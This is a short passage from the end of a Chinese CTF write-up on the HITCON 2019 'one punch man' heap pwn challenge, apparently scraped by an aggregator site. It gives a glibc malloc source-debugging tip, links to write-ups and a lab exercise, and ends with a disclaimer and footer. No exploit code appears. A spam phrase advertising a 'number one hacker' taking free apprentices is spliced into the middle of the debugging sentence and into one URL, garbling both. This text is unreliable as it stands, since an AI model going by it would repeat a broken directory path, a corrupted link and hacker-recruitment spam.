  v2-bbb916f55fbbb881c51512c5d9ad6be2_720w

  v2-cc990dde1f5a0957d3bcf4fc17d041d5_720w

  如果没敲directory 黑客师傅免费收徒(中国第一黑客收徒) /usr/src/glibc/glibc-2.29/malloc,就不会出现相对应的源码,个人觉得还是挺方便的,特别是涉及到chunk分配的时候,看着相对应的源码一行一行的debug,体验很好 :P

  https://medium.com/@ktecv2000/hitcon-ctf-2019-quals-one-punch-man-pwn-292pts-3e94eb3fd312

  https://balsn.tw/ctf_黑客师傅免费收徒(中国第一黑客收徒)writeup/20191012-hitconctfquals/#one-punch-man实验推荐

  CTF-PWN练习之精确覆盖变量数据 http://hetianlab.com/expc.do?ec=ECID172.19.104.182014110113362900001

  声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

标签:

本文来源:推文收录网

本文地址:https://www.hzccw.com/i/89814.html

版权声明:本站收录微信公众号文章内容全部来自于网络,部分内容为用户投稿内容,本站所有内容仅供个人学习、研究或者欣赏使用。版权归原作者所有。禁止一切商业用途。其中内容并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。如果您发现本站上有侵犯您的知识产权的内容,请与我们联系,我们会及时修改或删除。